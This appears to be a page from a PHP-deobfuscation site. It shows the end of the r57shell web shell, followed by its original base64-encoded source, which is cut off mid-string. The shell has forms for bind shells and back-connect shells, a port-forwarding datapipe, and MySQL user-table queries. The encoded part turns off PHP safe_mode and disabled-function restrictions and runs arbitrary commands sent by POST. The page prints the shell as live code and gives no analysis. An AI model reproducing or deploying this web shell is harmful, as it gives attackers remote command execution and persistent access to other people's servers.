echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
}
if(!$safe_mode&&$unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457'));
echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457'));
echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
echo $te."</td>".$fe."</tr></div></table>";
}
echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>";
echo '</body></html>';

Did this file decode correctly?

Original Code

$c='ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGxhbmd1YWdlPSdlbmcnOw0KJGF1dGggPSAwOw0KJG5hbWU9Jyc7DQokcGFzcz0nJzsNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCmlmKEBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAxKSBAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaWYoQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpICE9PSAiIikgQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmlmKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpICE9PSAiIikgQGluaV9yZXN0b3JlKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOyANCmlmKEBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSA9PSAwKSBAaW5pX3Jlc3RvcmUoImFsbG93X3VybF9mb3BlbiIpOyANCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQokdmVyc2lvbiA9ICcxLjQnOw0KaWYodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwgJzQuMS4wJykgPT0gLTEpew0KICRfUE9TVCAgID0gJiRIVFRQX1BPU1RfVkFSUzsNCiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsNCiAkX1NFUlZFUiA9ICYkSFRUUF9TRVJWRVJfVkFSUzsNCiAkX0NPT0tJRSA9ICYkSFRUUF9DT09LSUVfVkFSUzsNCiB9DQppZiAoQGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpew0KIGZvcmVhY2ggKCRfUE9TVCBhcyAkaz0+JHYpew0KICAkX1BPU1RbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdil7DQogICRfQ09PS0lFWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7DQogIH0gDQp9IA0KaWYoaXNzZXQoJF9QT1NUWydkbyddKSAmJiAkX1BPU1RbJ2RvJ109PSJBSkFYIil7DQogQGNoZGlyKCRfUE9TVFsnZGlyJ10pOw0KIGlmKHN0cnBvcygkX1BPU1RbJ2NtZCddLCAnZGlyJyk9PT0wKXsNCiBlY2hvIGljb252KCJjcDg2NiIsICJVVEYtOCIsIGV4KCRfUE9TVFsnY21kJ10pKTsNCiB9ZWxzZXsNCiBlY2hvIGljb252KCJ3aW5kb3dzLTEyNTEiLCAiVVRGLTgiLCBleCgkX1BPU1RbJ2NtZCddKSk7DQogfQ0KIGRpZSgpOwkNCn0NCiRoZWFkID0gJw0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT48L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj4NCg0KPFNUWUxFPg0KdHIgew0KQk9SREVSLVJJR0hUOiAgI2FhYWFhYSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjZWVlZWVlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNlZWVlZWUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2FhYWFhYSAxcHggc29saWQ7DQpjb2xvcjogIzAwMDAwMDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICNhYWFhYWEgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgI2VlZWVlZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjZWVlZWVlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNhYWFhYWEgMXB4IHNvbGlkOw0KY29sb3I6ICMwMDAwMDA7DQp9DQoudGFibGUxIHsNCkJPUkRFUjogMHB4Ow0KQkFDS0dST1VORC1DT0xPUjogI0Q0RDBDODsNCmNvbG9yOiAjMDAwMDAwOw0KfQ0KLnRkMSB7DQpCT1JERVI6IDBweDsNCmZvbnQ6IDdwdCBWZXJkYW5hOw0KY29sb3I6ICMwMDAwMDA7DQp9DQoudHIxIHsNCkJPUkRFUjogMHB4Ow0KY29sb3I6ICMwMDAwMDA7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlIDFweCBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjRDREMEM4Ow0KY29sb3I6ICMwMDAwMDA7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICNlNGUwZDg7DQpmb250OiA4cHQgVmVyZGFuYTsNCmNvbG9yOiAjMDAwMDAwOw0KfQ0Kc2VsZWN0IHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogI2U0ZTBkODsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6ICMwMDAwMDA7Ow0KfQ0Kc3VibWl0IHsNCkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogI2U0ZTBkODsNCndpZHRoOiAzMCU7DQpjb2xvcjogIzAwMDAwMDsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogI2U0ZTBkODsNCmZvbnQtc2l6ZTogbWVkaXVtOw0KY29sb3I6ICMwMDAwMDA7DQp9DQpCT0RZIHsNCm1hcmdpbjogMXB4Ow0KY29sb3I6ICMwMDAwMDA7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjZTRlMGQ4Ow0KfQ0KLmJsb2NrDQp7DQogICBwb3NpdGlvbjogYWJzb2x1dGU7ICANCiAgIG92ZXJmbG93OiBhdXRvOyAgDQogICB3aWR0aDogNzBweDsgIA0KICAgaGVpZ2h0OiAyMHB4OyANCiAgIGxlZnQ6IDUwJTsgIA0KICAgdG9wOiA1MCU7ICANCiAgIG1hcmdpbi1sZWZ0OiAtMzVweDsgIA0KICAgbWFyZ2luLXRvcDogLTEwcHg7ICAgDQp9DQpBOmxpbmsge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTp2aXNpdGVkIHsgQ09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOmFjdGl2ZSB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOmhvdmVyIHtjb2xvcjpibHVlO1RFWFQtREVDT1JBVElPTjogbm9uZX0NCjwvU1RZTEU+DQo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPg0KZnVuY3Rpb24gaGlkZV9kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOw0KfQ0KZnVuY3Rpb24gc2hvd19kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdibG9ja1wnOw0KICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsNCn0NCmZ1bmN0aW9uIGNoYW5nZV9kaXZzdChpZCkNCnsNCiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQ0KICAgIHNob3dfZGl2KGlkKTsNCiAgZWxzZQ0KICAgIGhpZGVfZGl2KGlkKTsNCn0NCnZhciByZXE9bnVsbDsNCnZhciBSRUFEWV9TVEFURV9VTklOSVRJQUxJWkVEPTA7DQp2YXIgUkVBRFlfU1RBVEVfTE9BRElORz0xOw0KdmFyIFJFQURZX1NUQVRFX0xPQURFRD0yOw0KdmFyIFJFQURZX1NUQVRFX0lOVEVSQUNUSVZFPTM7DQp2YXIgUkVBRFlfU1RBVEVfQ09NUExFVEU9NDsNCnZhciBDb21tSGlzPW5ldyBBcnJheSgpOw0KdmFyIEhpc1A7DQoNCglmdW5jdGlvbiBrZXlFKF9iKXsNCgkJc3dpdGNoKF9iLmtleUNvZGUpew0KCQkJY2FzZSAxMzoNCgkJCQkgdmFyIF9jID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImFqYXhfY21kIikudmFsdWU7DQogICAgICAgICAgICAgICAgIHZhciBkaXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYWpheF9kaXIiKS52YWx1ZTsgDQoJCQkJaWYoX2Mpew0KCQkJCQkvLyDs4Orw7vEg7vfo8fLq6CANCgkJCQkJaWYoX2MgPT0gIiFjbHMiKXsNCgkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInJlcG9ydCIpLnZhbHVlID0gIiI7DQoJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCS8vIOXt5CDu9CDs4Orw7vENCgkJCQkJLy8g7/Do7OXwIOTu4eDi6+Xt6P8g4Ovo4PHgIOru7ODt5PsNCgkJCQkJaWYoX2MgPT0gIiFsbCIpew0KCQkJCQlfYyA9ICJscyAtbGFGIjsNCgkJCQkJfQ0KCQkJCQlpZihfYyA9PSAiIWRzIil7DQoJCQkJCV9jID0gImRpciAvUyI7DQoJCQkJCX0NCgkJCQkJLy8g6u7t5fYg7/Do7OXw4A0KCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYWpheF9jbWQiKS52YWx1ZSA9IF9jOw0KCQkJCQlDb21tSGlzW0NvbW1IaXMubGVuZ3RoXT1fYzsNCgkJCQkJSGlzUD1Db21tSGlzLmxlbmd0aDsNCgkJCQkJYWpheChfYyxkaXIpOw0KCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgMzg6DQoJCQkJaWYoSGlzUD4wKXsNCgkJCQkJSGlzUC0tOw0KCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYWpheF9jbWQiKS52YWx1ZT1Db21tSGlzW0hpc1BdOw0KCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgNDA6DQoJCQkJaWYoSGlzUDxDb21tSGlzLmxlbmd0aC0xKXsNCgkJCQkJSGlzUCsrOw0KCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYWpheF9jbWQiKS52YWx1ZT1Db21tSGlzW0hpc1BdOw0KCQkJCX0NCgkJCQlicmVhazsNCgkJCWRlZmF1bHQ6DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQoNCmZ1bmN0aW9uIGFqYXgoY21kLGRpcix1bml4KXsNCiBpZih3aW5kb3cuWE1MSHR0cFJlcXVlc3QpeyByZXE9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7IH0gDQogZWxzZSBpZih3aW5kb3cuQWN0aXZlWE9iamVjdCl7IHJlcT1uZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsgfQ0KICAgIGlmKHJlcSl7DQogICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlPWFqYXhQcm9jZXNzOw0KICAgICAgcmVxLm9wZW4oIlBPU1QiLCAiJy4kX1NFUlZFUlsnUEhQX1NFTEYnXS4nIiwgdHJ1ZSk7DQogICAgICByZXEuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOw0KICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkFjY2VwdC1DaGFyc2V0IiwgIndpbmRvd3MtMTI1MSIpOyANCiAgICAgIHJlcS5zZW5kKCJkaXI9IitkaXIrIiZjbWQ9IitjbWQrIiZkbz1BSkFYIik7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBhamF4UHJvY2Vzcygpew0KICB2YXIgcmVhZHk9cmVxLnJlYWR5U3RhdGU7DQogIHZhciBkYXRhPSIiOw0KICBzaG93X2RpdigibG9hZCIpOw0KICBpZiAocmVhZHk9PVJFQURZX1NUQVRFX0NPTVBMRVRFKXsgZGF0YT1yZXEucmVzcG9uc2VUZXh0OyByZXBvcnQoZGF0YSk7IGhpZGVfZGl2KCJsb2FkIik7fSAgDQp9DQoNCmZ1bmN0aW9uIHJlcG9ydChkYXRhKXsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJyZXBvcnQiKS52YWx1ZSs9IlsiK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJhamF4X2RpciIpLnZhbHVlKyJdICIrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImFqYXhfY21kIikudmFsdWUrIlxyXG4iK2RhdGErIlxyXG4iOyANCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJyZXBvcnQiKS5zY3JvbGxUb3AgKz0gMTAwMDAwMDsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJydW5uZWRfY21kIikuY2hpbGROb2Rlc1swXS5ub2RlVmFsdWUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYWpheF9jbWQiKS52YWx1ZTsNCn0NCg0KPC9zY3JpcHQ+JzsNCmNsYXNzIHppcGZpbGUNCnsNCiAgICB2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCiAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7DQogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7DQogICAgICAgICAgICAkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQogICAgICAgIH0gDQogICAgICAgIHJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7DQogICAgfSANCiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKQ0KICAgIHsNCiAgICAgICAgJG5hbWUgICAgID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07DQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQogICAgICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KICAgICAgICAkZnIgICAuPSAiXHgxNFx4MDAiOyAgICAgICAgICAgIA0KICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOyAgICAgICAgICAgIA0KICAgICAgICAkZnIgICAuPSAiXHgwOFx4MDAiOyAgICAgICAgICAgIA0KICAgICAgICAkZnIgICAuPSAkaGV4ZHRpbWU7ICAgICAgICAgICAgIA0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQogICAgICAgICRjcmMgICAgID0gY3JjMzIoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCiAgICAgICAgJGNfbGVuICAgPSBzdHJsZW4oJHpkYXRhKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOyAgICAgICAgICAgICANCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjX2xlbik7ICAgICAgICAgICANCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICR1bmNfbGVuKTsgICAgICAgICANCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOyAgICANCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIDApOyAgICAgICAgICAgICAgICANCiAgICAgICAgJGZyICAgICAgLj0gJG5hbWU7DQogICAgICAgICRmciAuPSAkemRhdGE7DQogICAgICAgICR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsgICAgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSAiXHgxNFx4MDAiOyAgICAgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7ICAgICAgICAgICAgICAgIA0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsgICAgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSAkaGV4ZHRpbWU7ICAgICAgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsgICAgICAgICAgIA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7ICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAgICAgICAgIA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsgICAgICAgICAgICANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7DQogICAgICAgICRjZHJlYyAuPSAkbmFtZTsNCiAgICAgICAgJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCiAgICB9DQogICAgZnVuY3Rpb24gZmlsZSgpDQogICAgew0KICAgICAgICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCiAgICAgICAgcmV0dXJuDQogICAgICAgICAgICAkZGF0YSAuDQogICAgICAgICAgICAkY3RybGRpciAuDQogICAgICAgICAgICAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gIA0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gIA0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gICAgICAgICAgIA0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gICAgICAgICAgICAgIA0KICAgICAgICAgICAgIlx4MDBceDAwIjsgICAgICAgICAgICAgIA0KICAgIH0NCn0NCmZ1bmN0aW9uIGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpDQogew0KICAgIGdsb2JhbCAkY29udGVudF9lbmNvZGluZzsNCiAgICBnbG9iYWwgJG1pbWVfdHlwZTsNCiAgICBpZiAoJGNvbXByZXNzID09ICdiemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpIA0KICAgICB7DQogICAgICAgICRmaWxlbmFtZSAgLj0gJy5iejInOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtYnppcDInOw0KICAgICAgICAkZmlsZWR1bXAgPSBiemNvbXByZXNzKCRmaWxlZHVtcCk7DQogICAgIH0gDQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnZ3ppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZ3plbmNvZGUnKSkgDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmd6JzsNCiAgICAgICAgJGNvbnRlbnRfZW5jb2RpbmcgPSAneC1nemlwJzsNCiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi94LWd6aXAnOw0KICAgICAgICAkZmlsZWR1bXAgPSBnemVuY29kZSgkZmlsZWR1bXApOw0KICAgICB9IA0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ3ppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSANCiAgICAgew0KICAgICAJJGZpbGVuYW1lIC49ICcuemlwJzsNCiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi96aXAnOw0KICAgICAgICAkemlwZmlsZSA9IG5ldyB6aXBmaWxlKCk7DQogICAgICAgICR6aXBmaWxlIC0+IGFkZEZpbGUoJGZpbGVkdW1wLCBzdWJzdHIoJGZpbGVuYW1lLCAwLCAtNCkpOw0KICAgICAgICAkZmlsZWR1bXAgPSAkemlwZmlsZSAtPiBmaWxlKCk7DQogICAgIH0gDQogICAgIGVsc2UgDQogICAgIHsNCiAgICAgCSRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCiAgICAgfQ0KIH0NCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOwkNCiAkaGVhZGVycyAuPSAiTUlNRS1WZXJzaW9uOiAxLjBcclxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiAiLiRhdHRhY2hbJ3R5cGUnXTsNCiAkaGVhZGVycyAuPSAiOyBuYW1lPVwiIi4kYXR0YWNoWyduYW1lJ10uIlwiXHJcbiI7DQogJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG5cclxuIjsNCiAkaGVhZGVycyAuPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRhdHRhY2hbJ2NvbnRlbnQnXSkpLiJcclxuIjsNCiBpZihAbWFpbCgkdG8sJHN1YmosIiIsJGhlYWRlcnMpKSB7IHJldHVybiAxOyB9DQogcmV0dXJuIDA7DQogfQ0KY2xhc3MgbXlfc3FsDQogew0KIHZhciAkaG9zdCA9ICdsb2NhbGhvc3QnOw0KIHZhciAkcG9ydCA9ICcnOw0